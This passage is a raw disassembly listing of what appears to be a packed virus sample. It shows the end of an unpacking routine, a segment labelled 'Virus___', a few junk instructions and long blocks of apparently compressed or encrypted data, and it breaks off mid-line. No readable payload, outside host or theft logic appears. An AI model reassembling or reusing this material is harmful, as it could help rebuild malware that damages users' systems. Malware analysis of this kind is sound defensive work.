dl, dl jnz short loc_512153 mov dl, [esi] inc esi adc dl, dl loc_512153: ; CODE XREF: sub_51211B+31j jnb loc_512238 add dl, dl jnz short loc_512162 mov dl, [esi] inc esi adc dl, dl loc_512162: ; CODE XREF: sub_51211B+40j adc eax, eax add dl, dl jnz short loc_51216D mov dl, [esi] inc esi adc dl, dl loc_51216D: ; CODE XREF: sub_51211B+4Bj adc eax, eax add dl, dl jnz short loc_512178 mov dl, [esi] inc esi adc dl, dl loc_512178: ; CODE XREF: sub_51211B+56j adc eax, eax add dl, dl jnz short loc_512183 mov dl, [esi] inc esi adc dl, dl loc_512183: ; CODE XREF: sub_51211B+61j adc eax, eax jz short loc_51218D push edi sub edi, eax mov al, [edi] pop edi loc_51218D: ; CODE XREF: sub_51211B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_512132 ; --------------------------------------------------------------------------- loc_512197: ; CODE XREF: sub_51211B:loc_512146j mov eax, 1 loc_51219C: ; CODE XREF: sub_51211B:loc_5121B0j add dl, dl jnz short loc_5121A5 mov dl, [esi] inc esi adc dl, dl loc_5121A5: ; CODE XREF: sub_51211B+83j adc eax, eax add dl, dl jnz short loc_5121B0 mov dl, [esi] inc esi adc dl, dl loc_5121B0: ; CODE XREF: sub_51211B+8Ej jb short loc_51219C sub eax, ebx mov ebx, 1 jnz short loc_5121E3 mov ecx, 1 loc_5121C0: ; CODE XREF: sub_51211B:loc_5121D4j add dl, dl jnz short loc_5121C9 mov dl, [esi] inc esi adc dl, dl loc_5121C9: ; CODE XREF: sub_51211B+A7j adc ecx, ecx add dl, dl jnz short loc_5121D4 mov dl, [esi] inc esi adc dl, dl loc_5121D4: ; CODE XREF: sub_51211B+B2j jb short loc_5121C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_512132 ; --------------------------------------------------------------------------- loc_5121E3: ; CODE XREF: sub_51211B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5121F1: ; CODE XREF: sub_51211B:loc_512205j add dl, dl jnz short loc_5121FA mov dl, [esi] inc esi adc dl, dl loc_5121FA: ; CODE XREF: sub_51211B+D8j adc ecx, ecx add dl, dl jnz short loc_512205 mov dl, [esi] inc esi adc dl, dl loc_512205: ; CODE XREF: sub_51211B+E3j jb short loc_5121F1 cmp eax, 7D00h jnb short loc_512228 cmp eax, 500h jb short loc_512223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_512132 ; --------------------------------------------------------------------------- loc_512223: ; CODE XREF: sub_51211B+F8j cmp eax, 7Fh ja short loc_51222B loc_512228: ; CODE XREF: sub_51211B+F1j add ecx, 2 loc_51222B: ; CODE XREF: sub_51211B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_512132 ; --------------------------------------------------------------------------- loc_512238: ; CODE XREF: sub_51211B:loc_512153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_512259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_512132 ; --------------------------------------------------------------------------- loc_512259: ; CODE XREF: sub_51211B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51211B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_512265: ; CODE XREF: start:loc_512076j ; start+9Dj jmp loc_56AB30 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51226A dw 38E9h ; DATA XREF: start+77o dd 1563450h, 7838BFABh, 0C0F1EA42h, 5D15C204h, 81711D1h dd 5C92E4D5h, 1724F921h, 36E47508h, 9CF7235Ch, 5C552301h dd 73655203h, 99726174h, 2EC57041h, 84F378E9h, 0E101EC7Eh dd 29B9BE1Ah, 35FCFB34h, 5D2103DCh, 0AC71E955h, 989A7F5Fh dd 7F90E503h, 133525Eh, 91D721DCh, 7F8F7071h, 23DC2291h dd 889C5EF7h, 219B7757h, 0BB2B8403h, 656854C0h, 6438696Dh dd 1CAA4761h, 0D487C58Bh, 8108E860h, 5FED815Dh, 8909D434h dd 27A99518h, 44E5B50Dh, 39208507h, 0BD83082Bh, 7382A2Dh dd 0E88B0C74h, 52B8E222h, 0C7C27B05h, 1D244470h, 21F53Eh dd 60E8456Ah, 9A6829A3h, 77A8374h, 250ADF50h, 0A894B1Eh dd 0E909D591h, 64150214h db 0F4h, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h mov al, 0EEh pop edx adc dword ptr [eax], 2354DEAh mov ebx, edx mov dword ptr [ebp-28h], 0EC60846h ; CODE XREF: Virus___:0051236Dj inc eax mov [eax], ecx aas cmp dword ptr [ebp+31h], 0F741D80h lahf and [eax], cl leave xor dword ptr [edi+12FF1026h], 18h inc ebx jmp short near ptr loc_51234F+1 ; --------------------------------------------------------------------------- fsub qword ptr ss:[ecx-23h] db 26h add eax, 104C2C9h inc esi add esp, 2A3FF7Ch dec ecx xchg eax, ecx xchg eax, esi pop es lea eax, [ebp-80h] mov esp, [ecx+8] mov dword ptr [ebp+504A1944h], 0D1000A8Dh retn ; --------------------------------------------------------------------------- db 88h, 18h, 41h dd 810BA889h, 206A2BDh, 94E3755Dh, 0BA8D2827h, 475EC64h dd 0BB0E8A80h, 0B85B90F4h, 540F37ABh, 0CCD0D378h, 3B4B080Fh dd 0AF05F775h, 244647C3h, 0F946624Ah, 61D142A2h, 0D0078ABAh dd 0EED85FF0h, 4DA0FC45h, 0ADA304EBh, 3E8046C8h, 0BAF740C5h dd 0E6348436h, 0EB0C197Dh, 0CF83E7Fh, 0F012C86Dh, 0A8F40E4Ch dd 14C14A10h, 0D604F065h, 0E0D1F803h, 2896C203h, 8ADB3301h dd 0FB80301Ch, 0C30A72CCh, 577390Ah, 26EFEBD3h, 617F1422h dd 660A0D67h, 0F51E08F6h, 0EA0AC3F4h, 411AC310h, 0A0D0B72h dd 24067746h, 5D0121EAh, 0F4EC87F0h, 2317D83h, 0CB3B072h dd 0A57676C0h, 0F826AA64h, 8D76E01Ch, 553BA8A0h, 820FFC0Ah dd 0B09CBD78h, 0E538AA1Bh, 0E08BA0Eh, 0FC700AB9h, 36DCBD84h dd 470FFE00h, 0FA1C7549h, 6A5D22B9h, 4F01BBD3h, 0EB82F112h dd 276DBh, 38AC868Eh, 65510A5Eh, 17FD36E0h, 0BC268A73h dd 91E94Fh, 67FE8B59h, 0F4ADC82h, 10C32C54h, 34CCE25Fh dd 78196F1h, 0CB8C75ECh, 39320C34h, 765B4E00h, 51B8100Fh dd 0D1043E3Dh, 46303B3Bh, 2E09753Eh, 0EC011EAh, 65E4EC48h dd 30065090h, 5C50684h, 0BBBF968Eh, 4855347h, 8C2940C2h dd 0E7820571h, 0B3A60EDBh, 812B0CFFh, 1D220477h, 84C13401h dd 207533F9h, 773FBC90h, 0EF670A76h, 41330230h, 7F8C89ECh dd 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h, 8211254Dh dd 0CD84B1AAh, 8845AABh, 0C3A65613h, 0EE825E0Ah, 0E4A081CAh dd 0FA8A8844h, 513A2B9h, 43289723h, 3058F06Bh, 211704E9h dd 8AE4C460h, 94257D28h, 16084566h, 58480021h, 61B5E9C4h dd 0D91DBC67h, 6302623Dh, 81221F8Bh, 9B03CC94h, 0C8DA8DFCh dd 5FC35760h, 758A91C4h, 47881A18h, 99C40757h, 0F05F8E77h dd 81FA8BBBh, 6705E200h, 0CA0BDB8Ch, 3E863110h, 8012E933h dd 7CF2050Bh, 3B93B75h, 981E93E6h, 2A802060h, 39725850h dd 0C8265C71h, 96200086h, 8C3D0260h, 0CE39EADFh, 0DCC580Fh dd 0A503ED0Dh, 0DE9E3AF8h, 0C6660AF3h, 6F24ACEBh, 10E91891h dd 0BA380Bh, 0C9D5350Fh, 3D792DD6h, 36B72C00h, 0E482A60Dh dd 0FB540083h, 868A5C21h, 4AC309F2h, 22E5F081h, 0E9301612h dd 2B42550Fh, 21C900DAh, 0B1712CF7h, 3103FA57h, 0BA670DB8h dd 0C05BD87Fh, 0CD81014Dh, 0F0C38234h, 1E3CB074h, 611BACh dd 8B93C0BCh, 0EBEC8222h, 820C766Fh, 0E04CF781h, 798C629Eh dd 0A3E6A033h, 0DDB0F4Eh, 439EB5B4h, 0B23FE9C7h, 8015EAC9h dd 3D3B8199h, 0E4A2EEh, 0F4C3852Eh, 4128664Fh, 6D15CC02h dd 43021792h, 2734F09Ch, 53B23C7Ah, 5170F701h, 0FD104898h dd 2E51A809h, 6D02E8FCh, 8A62F608h, 925B6133h, 0FC15C5E4h dd 5FC60CE2h, 8EE43F57h, 0C01019C0h, 48EC84CCh, 9A2C1202h dd 1FFAC0Fh, 0D4A5F0Ch, 0F446CCB5h, 78446D3Ah, 17AD3C00h dd 2641880Bh, 0D168011Ch, 0B2BC4037h, 9F318746h, 6EF08092h dd 10C53A6Dh, 0F87FC83h, 5005380Ah, 9406E93Ch, 1059A12Fh dd 7CD3B1Bh, 0B937E071h, 0AC18C652h, 0AF305962h, 0E6862108h dd 8901Bh, 2969F6B1h, 331FADDCh, 0B02C98C0h, 679BBD3Bh dd 11491012h, 0FC4F26D1h, 303383Fh, 0AEEA4514h, 1510110h dd 0ED50C02Eh, 0ADD5C042h, 0F9878438h, 261A9400h, 0DFEA5D9Dh dd 0F5CA1C79h, 4A3B4D0Eh, 7DC89DF1h, 0A94CC20Ch, 6788186Fh dd 0A3A6842h, 0BC6D1E1Fh, 0D191CB59h, 0C05643CCh, 0A479420h dd 0EA01DD29h, 0CDB4369Ah, 9841FD3Fh, 40836C05h, 49370E3Eh dd 6727119h, 0C1104410h, 0E57E54E3h, 819C4F50h, 0CBF06F41h dd 18EC6169h, 0FA49680Ch, 0A0CF1200h, 802560AFh, 3207C53Ch dd 0AD5D99C0h, 0A8F42672h, 0B80D8Ch, 0D93C2371h, 81F3C3B6h dd 6E2CD603h, 1563B506h, 0E8490DBEh, 83C7C81Ch, 0E18CCB41h dd 0A10A7800h, 3F946A26h, 0BDFCA821h, 0BB8431E3h, 80AEF420h dd 2C433F69h, 3E729B5h, 0C5DC6DF2h, 980C04ABh, 48710A27h dd 0B1403B1Ch, 0C8C49F40h, 38011F7Fh, 0A83ADh, 6543906Fh dd 8758181Bh, 0FA05B9E6h, 0F424064Fh, 0CC7B79B7h, 8FE158h dd 8AB46715h, 12D5DFDCh, 20D43B79h, 0D76B6D10h, 0C0E53301h dd 0C320BBC1h, 856C5080h, 39CED0EAh, 94277F03h, 1BA226B0h dd 0A97469F0h, 52DF9014h, 35871054h, 0B68F550Ch, 51F11C89h dd 80C5E7E8h, 0DBF6CCD6h, 0F3A915h, 6A06B1E1h, 0FD5DC35h dd 9B402661h, 4BE03BB2h, 410C914h, 70B50002h, 10D36B02h dd 0E620678Ah, 1B4A0C5Eh, 150EDFDh, 3875F4A4h, 4820D130h dd 497EE7A5h, 22009C9Dh, 0C00592BDh, 0E26118CBh, 0F6F48950h dd 7AE23FCh, 0E33611F5h, 2858A08Ah, 0E200710Ch, 0D4596E82h dd 2477BF7Bh, 1F4DF51Ah, 0D0894EB1h, 40603A27h, 2C425EB7h dd 0E419BC02h, 40A1C576h, 7C7418E0h, 218C001Ah, 0F6DEFA01h dd 0FDF4B0F5h, 4E793700h, 0BB9D95A0h, 0D199001Dh, 368AF3CBh dd 89703A67h, 0F6052100h, 84323F54h, 34DE4C4Ah, 803561C7h dd 0F4046B25h, 7980C454h, 0B5663000h, 73DB704Fh, 0CFBB0099h dd 8DD4B3C9h, 0B5A294A0h, 0BCF40890h, 857239C0h, 108C6E5h dd 9384E9DCh, 24B4CBBFh, 32480E80h, 0D32181D4h, 0BC00E330h dd 0CF733B14h, 940C51D2h, 0F02F077h, 3C6CE95Ah, 9CA097A9h dd 22F38849h, 20122090h, 60309C1Fh, 7B92A979h, 0CB4800B3h dd 8732D9Eh, 0D41F2867h, 461BA06Fh, 43E4E238h, 53BD98ACh dd 844992Ch, 898043ABh, 0D53C0BA6h, 0CE317DFBh, 7C904B79h dd 0D3BBD18h, 4D0EBC18h, 0CC84403Ah, 1BB003C8h, 0A919073Dh dd 0C0378E56h, 123410F7h, 0DC657502h, 6051D108h, 7498CFC8h dd 20B28177h, 0BC3D2948h, 243059ADh, 4E1D40CFh, 3E1B9006h dd 753F3028h, 0C6E495C8h, 0D659ED01h, 18946C26h, 0A0F6A040h dd 29457848h, 80D48F38h, 5601FAEEh, 0D202B365h, 0AF892764h dd 0ACC0A011h, 2EF7E9BFh, 1D0A2h, 494BC213h, 3B0B04BDh dd 21B47EC9h, 6F6D5F4Ch, 42769A01h, 7227D9F0h, 0C842BD87h dd 1004CBCEh, 3598FE0h, 8B559A05h, 0B49140AAh, 0F041E107h dd 6180FAAFh, 88A314A8h, 0E6012609h, 27DBE06h, 0E1CCF575h dd 0FA100521h, 9D4A4A7h, 6420F3BCh, 2AF08AA2h, 8028AF48h dd 19AC733Eh, 0BDA009F9h, 0F82294AAh, 0B621B4E1h, 0A98547BEh dd 2B3A59Eh, 2B03AD4Ch, 90D3C080h, 249F878h, 4CCF2C00h dd 3320C8A0h, 69262A43h, 612E3D3Ch, 786FB3Eh, 382223BFh dd 501B7F33h, 37DF998Ch, 0EAB53880h, 0A9E5D7C6h, 95507500h dd 94858BCAh, 0C1E8A8E9h, 0BCA024D3h, 0E4CB142Ch, 5F92097Ch dd 0E4263FE5h, 3300C137h, 55C9F79Dh, 3BCC5B26h, 0AF004C25h dd 9C628AB8h, 3F076C5Fh, 7D0CDEEAh, 833D5930h, 2C0DE013h dd 40DC62E4h, 0D7EBE87Fh, 8A16101Ch, 856BFEC0h, 0D80FC63Bh dd 26EA38E1h, 58E40E2Eh, 43000D11h, 88CFD48Dh, 98921C1Bh dd 1E40A890h, 74865855h, 1F6C1393h, 20A42A75h, 1C242B3Eh dd 0F6B9245Ah, 0E2FE3C00h, 56EF0FC0h, 1D68001Fh, 577B3B62h dd 79C05061h, 73EE85Ah, 0E61A0464h, 0C15BEE13h, 1F2EE4h dd 1E2F909Eh, 0C642D4A9h, 0B6BDA575h, 0E4F9EF2Ah, 442B9810h dd 45CAFA78h, 8DCC6007h, 0E0F64E41h, 62BF5FE8h, 0D1721065h dd 0C8B65CA1h, 26918166h, 54DD400Ch, 2039D052h, 2998C9B4h dd 67E2E800h, 5C321B86h, 0CE62026Eh, 0DE3BCBA6h, 0CD70A4E0h dd 84A1DEFDh, 0D807C738h dd 0E8020E1Dh, 4ECE5B92h, 7B5B4069h, 0CF910539h, 48242380h dd 6E87BAA0h, 56862758h, 67BE1D11h, 0A141C0CBh, 0AB7EDABBh dd 0FC59DF0Eh, 0DEB1E0F2h, 1F67BFFBh, 0C26D48B8h, 0DD1CDB1Fh dd 24403C42h, 0C61F761h, 0F31B9BC8h, 0D99E38E1h, 55420002h dd 37F4C051h, 10FBF05h, 49802420h, 5D8E7C3h, 5842F0AFh dd 4C8C33Bh, 0F893591Eh, 0D980C306h, 0FCBA2410h, 0C8F00878h dd 42731800h, 29B58577h, 20B054C6h, 74912EC4h, 0DC4442F0h dd 80276C00h, 3131F9Bh, 2B5133Bh, 2F0EA50Ch, 0BB10D466h dd 5208D0C4h, 4D80421Ch, 501E6E14h, 0E347007Bh, 33E12604h dd 2E01D793h, 142743BAh, 0F4747140h, 0E81043Fh, 0C0A50130h dd 9046EA40h, 0C4277728h, 0E3E48303h, 0C80C7873h, 0F0AD3BCEh dd 91489013h, 1C0F0A30h, 5E201608h, 3546A80h, 0ADBDBB9Ch dd 0C4C88C0Eh, 0B8181B79h, 0B54045E9h, 9B294037h, 0F75D7090h dd 0BB21066Ch, 9E0C468h, 0C3C53BE5h, 12AF2040h, 6766C92h dd 53023500h, 0F6CEFA0Bh, 242F480Ah, 38C13330h, 84BA8FC5h dd 87256F73h, 0C794234Dh, 0AEC4C7FEh, 94E44B4h, 5C64D991h dd 434C8404h, 2CEB9049h, 13548D39h, 0C76107F4h, 0C8E286CDh dd 127C3400h, 0E1054058h, 928603C2h, 57F18C03h, 875326C1h dd 0A5D3E738h, 0EA861D10h, 11A3002Bh, 93BCD147h, 20E98DC9h dd 0A4004D6Bh, 65D7E28Fh, 14A8334h, 2C447115h, 71C92292h dd 6050F3E5h, 0D100133Ch, 0C64A35DCh, 6C78CC3h, 628209AEh dd 0CD00C151h, 0E62E6619h, 0E4A871h, 0CAC19B6Bh, 0C8C5690h dd 0B3F2C912h, 64013409h, 579920D8h, 6A6122h, 0B4344BCEh dd 3B7D1659h, 0C03C2A00h, 0B6F943D9h, 674E0021h, 1DBA8134h dd 2892C11Ch, 0BE5FD101h, 1B3DEBC5h, 58019E4h, 34FB1AE4h dd 780438E8h, 808D88h, 44D2901h, 2F66759Eh, 97F10A03h dd 3274298h, 96DB3518h, 400F15F9h, 0A005B2BDh, 72221E78h dd 1459C0FFh, 6BC60AFAh, 0B61FA079h, 91009FFEh, 42F4D13Fh dd 60B8E4D6h, 965D3812h, 4D3EEE2Ah, 71E51E11h, 1075640Dh dd 0F2300Ch, 90E86F3Ch, 914317Ch, 0E553D50Fh, 0F0A620EBh dd 3F9A043Dh, 0B86F6875h, 0C9D5E9Fh, 0F0103B2Eh, 13FCFF00h dd 68507606h, 88DF0017h, 0A01F3ABFh, 29C3A275h, 416CF15h dd 0E695BCC8h, 4E08C38Ah, 7DA2D6C0h, 0A8905A6Ch, 4082898Ch dd 0ACD6EB9Eh, 2B076C3h, 0A09014E4h, 7E8208A7h, 0B8851B74h dd 41328667h, 20ADEBF1h, 0A06ED7C8h, 91A9AD30h, 60B29A2Fh dd 4BF47979h, 0AD3098DAh, 61A21A5h, 41E960B2h, 3A9AFAA7h dd 8F187850h, 0E066B82Ah, 0DE3F9801h, 0FE751CD6h, 77F27180h dd 7C083A6Bh, 3E14C100h, 0F0D5FC15h, 0F7AB0FFBh, 4158B0EAh dd 7114A6F6h, 1903538h, 0B2A5D123h, 0B6F8960Eh, 106101DEh dd 0EB352126h, 91984227h, 102E6722h, 79447DFFh, 68712A30h dd 0A01B18B8h, 6C9F4844h, 0A800E2E8h, 33819A76h, 1BFE9232h dd 0B9187F73h, 0C822C9A3h, 2D900016h, 6C8D673h, 61CCC698h dd 54B210E6h, 6E90F5h, 96C73D15h, 0E7FF9A1Bh, 0A8D518DCh dd 190EB128h, 0E12818A1h, 8417BB07h, 0E8328058h, 64E29E00h dd 0D71D8709h, 0DB0E19DAh, 94401295h, 8322381h, 40C856C9h dd 83F50A84h, 391CFDBCh, 9040C06Eh, 24700BFEh, 4841E73Eh dd 44246AD1h, 31FC68A2h, 615DC3Ch, 0AA4CA97h, 0D492D70Fh dd 274458AAh, 4434A5A1h, 22002FB1h, 0C5C0CE8Fh, 0B195FE7h dd 52D112D1h, 2F0C820h, 6F72FD90h, 488E9473h, 0D1B2BC95h dd 661C1836h, 0FB1D61CDh, 0F8202968h, 2DA85439h, 1B398EF1h dd 55615999h, 10B85442h, 9780D5A6h, 0DB2C09D3h, 94201AA3h dd 54E6D69Ah, 0F848200h, 4951AAEAh, 0ABB22671h, 702A18h dd 0D0F5C427h, 0E3B10619h, 0CA6781C7h, 20CAA097h, 0BC219FC5h dd 84EE03A4h, 9C93C0A0h, 3608009Dh, 0FB12A5F6h, 1149106Eh dd 4C71810h, 92E498h, 18C0DE8Ah, 0CB4DF88Fh, 60F5ED00h dd 0E7E6C4A3h, 3729868h, 0E8631C1h, 0A280AA59h, 6F00BDC3h dd 8AB88066h, 0E756C9E3h, 9E4BC0h, 0D1EF21FFh, 9DDE33C5h dd 31EB7B00h, 3E2A902Bh, 751400A9h, 746DBDC4h, 40C1B587h dd 15DE56CFh, 18FFD3CCh, 949FF32Fh, 0B200A372h, 0D9777D8Ch dd 60BA3DFEh, 3A839CBFh, 8AE89B74h, 0BCDDA00h, 0D35015DDh dd 2374B111h, 0A0FA5504h, 0CCAD7F8h, 560724F3h, 0FA2400D8h dd 0EA18B89Dh, 5EF16000h, 2C4B0683h, 0D2A92650h, 36BD03F4h dd 9BF88A73h, 40C0C9EFh, 0B8904E01h, 0CB28002Fh, 0A37723C0h dd 913E6FA4h, 18F69F03h, 2CC573C0h, 106042C7h, 489ED8Bh dd 5B02F4EAh, 0A6281900h, 0DE001DC3h, 87639EA3h, 12D90Ah dd 0A9D2CD1Bh, 6065F268h, 9C0083B8h, 0F4DD8BEEh, 2904106h dd 0A56D23EFh, 386127C3h, 0EB942235h, 2AC00DA2h, 5C002CD9h dd 2821FA9Eh, 1DC0D8h, 5799A3EDh, 0FE897791h, 3ED44F38h dd 6EF780A6h, 9D83C659h, 0DC905D8h, 0C10EF8D6h, 0ECEFF542h dd 0A90018E6h, 8E684A92h, 398834h, 0B1D0B0C5h, 5A54C2B3h dd 9C03F1E6h, 0DB0BC7D8h, 0EB4000F7h, 0C0D266F5h, 6000A91Bh dd 5948B96h, 5C6BF4h, 0BB75BCD4h, 868954C6h, 4A9E8300h dd 158F0BE4h, 0EDA0070Fh, 12D2F52Eh, 8CCDAB1Bh, 0A197405Dh dd 5638C0D6h, 9E4000D9h, 0A70425ECh, 0ABE702D5h, 8A8D45A3h dd 0D34CFA00h, 727F4B9h, 876681BFh, 0C00CE084h, 4300D611h dd 1CD1CF64h, 0BDD7F8h, 0B5688527h, 8F098296h, 0CD586B07h dd 7910B3E7h, 729A678Eh, 0D44A00F8h, 51F6DE0Ch, 2907BC9Ch dd 0E6EAA228h, 5E67A320h, 0DA040790h, 0A05A6Bh, 44C2BAB1h dd 0B58B6800h, 0E6F4A88h, 0F1407F3h, 6031B8AAh, 0EB1DE864h dd 96A5A60Bh, 4AC049Ch, 0BD2BCC40h, 0C0525A53h, 0FF044688h dd 470053ECh, 3FFD455Bh, 2671C59h, 663B276Bh, 3495C4FBh dd 0F1407160h, 17D5004Fh, 45011C66h, 0E904DB67h, 351EC508h dd 0F20D128h, 7C0400E5h, 0D7AB27D8h, 1A0065A0h, 8FF10A2Ch dd 11E7FFBBh, 218A34Ah, 73D720D4h, 66C0F89Eh, 21220995h dd 0D718740Eh, 97F460F5h, 0E01E98h, 4535043Dh, 106A9A11h dd 778173Eh, 650A66E8h, 0A06D687Ch, 0EA7E5D4Ch, 7B4A5C3Eh dd 421F880Ah, 162CC41Ch, 536044C9h, 76430083h, 72C7EB1Eh dd 6BF84E0Dh, 59E77D30h, 0F8DA4208h, 0DF570C71h, 0E5096930h dd 4A2821C0h, 5BB4A6DAh, 0C4E84072h, 0B93F17ACh, 0C16E0700h dd 9DF10F71h, 0B65FA8h, 7E6FF5D0h, 88F11FECh, 8506A0E1h dd 0F07D7F1Bh, 0E72BFEA0h, 4A01A454h, 449E75D7h, 7288C918h dd 2AD70022h, 0D356E80h, 0D21F9F70h, 0A700A654h, 9E670F2Fh dd 45D35F4Ch, 41A974F4h, 0E2801988h, 16BC40E1h, 3150A18Dh dd 1D00FAE8h, 8207486Fh, 0C439B2h, 0E9691E77h, 8F360EAh dd 98A87CE0h, 0CA07831Bh, 0C86F65ABh, 49040449h, 74D72160h dd 3D1C9E23h, 190055C4h, 5CFFB0D7h, 0DF5A2696h, 1735DFA8h dd 0DB609072h, 4101A70Dh, 16145984h, 898717Ch, 63C212Dh dd 93F7A700h, 0D0866FA1h, 6B48CEB8h, 548F84E0h, 1700710Ah dd 769E95DFh, 91EA774h, 1D5A809Dh, 5D003858h, 0F109DE2Eh dd 76B8Ah, 0E6064022h, 0EEC8F52h, 304A203Eh, 7DCC1015h dd 892F0h, 30D4F79Fh, 1E749BACh, 71F92112h, 936ED8A0h dd 0DA4B072Ch, 625FE40Ch, 533320E2h, 0C0026BDAh, 0DA2D692h dd 10104309h, 0BC18D0h dd 0F0DCF19Ah, 49D007FBh, 0BA00D417h, 911FD871h, 0F425D177h dd 0FD746199h, 4A572188h, 8A98D000h, 1D30E96h, 88FE8C5Bh dd 0B25D1DB2h, 3070B068h, 9CA1DA4Dh, 0E35848EFh, 0F553588h dd 0D08C09DAh, 0D56F1240h, 0E930A20Ch, 8F185002h, 0EFCE24B0h dd 580F0130h, 22980654h, 4A1E06E0h, 71125A4h, 7416E417h dd 23200015h, 73016E2Ah, 0E3EC0F5Eh, 0A091A4EAh, 0DA408049h dd 8C47710Fh, 260D44h, 236ADA48h, 0FFBAD3D9h, 0BB412100h dd 9F19F156h, 0B0EB3DC0h, 1A8BD28h, 0B52ECF95h, 20F9E130h dd 48C1740h, 843FA70Fh, 21386209h, 20A7085Ah, 0AA009EAEh dd 1FCF6012h, 0DF4138Fh, 0A489B75h, 0C1C81776h, 20062EB8h dd 0D200B53Ch, 1665ADACh, 75A2B69Fh, 0CD6F8047h, 180D7118h dd 6DBA35Ah, 859DED33h, 0B8C95129h, 77043061h, 914D11D8h dd 87058827h, 50D87055h, 0D049FC1Bh, 8CC4154Ah, 3E481087h dd 4A75337Eh, 4689AF31h, 98A8800Fh, 0B20615C0h, 47B0AA26h dd 60E0449Ch, 3BD4EF8Dh, 9C29FFBCh, 0A01D03B0h, 797BA2CAh dd 0C92A379h, 12CFAD01h, 74DD1EC3h, 2485DF20h, 13D4E4E1h dd 68A40440h, 6623315h, 818D9F39h, 0FA0428F9h, 239C4A04h dd 7C85EB03h, 0EE34C9B4h, 11A70B30h, 8829844Bh, 643E8030h dd 12E470A7h, 73786901h, 1C1F761Bh, 8C477C30h, 7251D7F6h dd 817C23AEh, 50D71757h, 30C082CAh, 74D06633h, 0D890800Bh dd 0C0C2B50Dh, 0BDF08193h, 0A7526ADh, 428484D4h, 9614C818h dd 0C4B73020h, 1306A418h, 0BE19EF00h, 0A0E6FE5Dh, 0F1809188h dd 0B8917C35h, 0D74B8053h, 8C6C9E76h, 73C844h, 284CD723h dd 0A985019h, 0B02C6900h, 81EBE8F3h, 95B21DAAh, 4A88F210h dd 20113097h, 308E7A8Bh, 0F2002D68h, 8D538A09h, 0B4085849h dd 69107100h, 65DEDF27h, 48C0D554h, 0D71E048Ch, 38249E71h dd 0D7160056h, 0EBEC9A92h, 85972290h, 0C08BFFE0h, 0CCC322C8h dd 97B0B004h, 94D94E16h, 15A18204h, 0FAEA90E3h, 98AC8468h dd 6246DC90h, 4AD87402h, 1314F91h, 0D86D6410h, 9D9E3Bh dd 7C3B417Ah, 2E7DBA7h, 9670FA95h, 0B889C68Ch, 11875C37h dd 0FD50D1EBh, 0F0401C87h, 0AD980878h, 0FCA803F5h, 7F00D2F7h dd 39B8657Ah, 0E6989129h, 4DF6D8E5h, 84A1A26h, 10DA3FC0h dd 2063E971h, 0DA472780h, 4F2C9465h, 0A15C002h, 80E400F8h dd 44CF7C2h, 2080B072h, 49FA3510h, 6C90DC70h, 0E490D04Bh dd 91513D8h, 1F991B9Eh, 5B22107Ah, 92040B17h, 3804F42Bh dd 0D7904021h, 762D29h, 486EB3CBh, 3F74CCC2h, 97FD1700h dd 0DC95D4EEh, 6F8A89Fh, 7A01352h, 0FBEC005Bh, 0DA9C6E6Fh dd 8678744Ch, 7111D0h, 1595AAFEh, 7A3DA16Ah, 1EA42118h dd 28E7B79h, 6C956F14h, 19E1A9C0h, 846342h, 22A13E92h dd 5945EFh, 6D79CE55h, 705364FFh, 85AC900Ah, 919ECC05h dd 14EE4209h, 0EFA00138h, 0D63FAAACh, 6DD430E5h, 0DA4C058Ch dd 3867710Bh, 540732CCh, 0F543B4DAh, 9D8DA0D0h, 38B109h dd 4051B695h, 0E2504881h, 58C6C30h, 710EDA41h, 174CE4Fh dd 54DA4929h, 0FC3018EBh, 98970C9Eh, 16C8E77Ah, 0A195DB16h dd 0DF6F0C20h, 0B2820170h, 1E77B8E5h, 0CAB448D1h, 0C9881D1Dh dd 0FA921747h, 264BA4E3h, 5E3CFE89h, 32032346h, 0A411A138h dd 0BF0019D6h, 73CD6546h, 729EE68Dh, 3D17589Ch, 991C580Eh dd 0F36729D8h, 0EEB04A61h, 7C33ABD7h, 0E30CEA2h, 24BE014Ah dd 56FBC9Ch, 0EA62E87Ch, 0EF122171h, 0F442307Dh, 6A79A2D6h dd 0E434E5FCh, 0CED60E1h, 4E1F1E93h, 0D448060h, 78632A7Eh dd 139A490Ah, 8113C435h, 98D428E0h, 30194CF0h, 8C31E8h dd 0A1CDEDE7h, 497D27FDh, 54D2490h, 0D8738080h, 8C479121h dd 38590244h, 0D484D86Ch, 9887A523h, 1403C3E4h, 7E6DE0B9h dd 0B981D515h, 98D87C96h, 0AD7D2668h, 0C1E41217h, 0C255084h dd 9461DDF9h, 9F81E482h, 63D6F0A1h, 33C8A204h, 5583ACB8h dd 9F6E4407h, 6581B484h, 0A0222CAAh, 2C7C0629h, 911E05C8h dd 1D8CE6Fh, 83D84958h, 74CAA467h, 88C26B0h, 910E3532h dd 9C809388h, 4A6675F4h, 0C134342Bh, 1113AF4h, 0A3E87E13h dd 2675259Eh, 74C42008h, 0C818E1h, 0DD61F91Ah, 6913C410h dd 1360C13Fh, 64304B58h, 0B794BCh, 3C873B51h, 0D4408396h dd 900995EEh, 9DA4ECF5h, 81E5114Ch, 7C1C644Ah, 58845D3Bh dd 0E3D921F2h, 0CB064500h, 4D688D83h, 369716B1h, 152409F6h dd 463B549Dh, 7BAD4C01h, 0D4E8C62Bh, 0CF039609h, 0F6BF235Fh dd 711480EFh, 0CA242486h, 0B3060A2Ch, 9E6F0348h, 18261768h dd 4E15D01Ch, 0F58F01BCh, 97219A4h, 529424h, 22A2C805h dd 0E2C9A860h, 0E9784100h, 7ACB01B5h, 1F05032Ch, 0DA7D6B3Fh dd 8D176103h, 0B8C1BC96h, 0F65FCE3h, 0FA7B8393h, 5B1C6EE1h dd 40DC501Bh, 0E92CA572h, 8840A48Dh, 805D2DB2h, 6B484982h dd 0CA470110h, 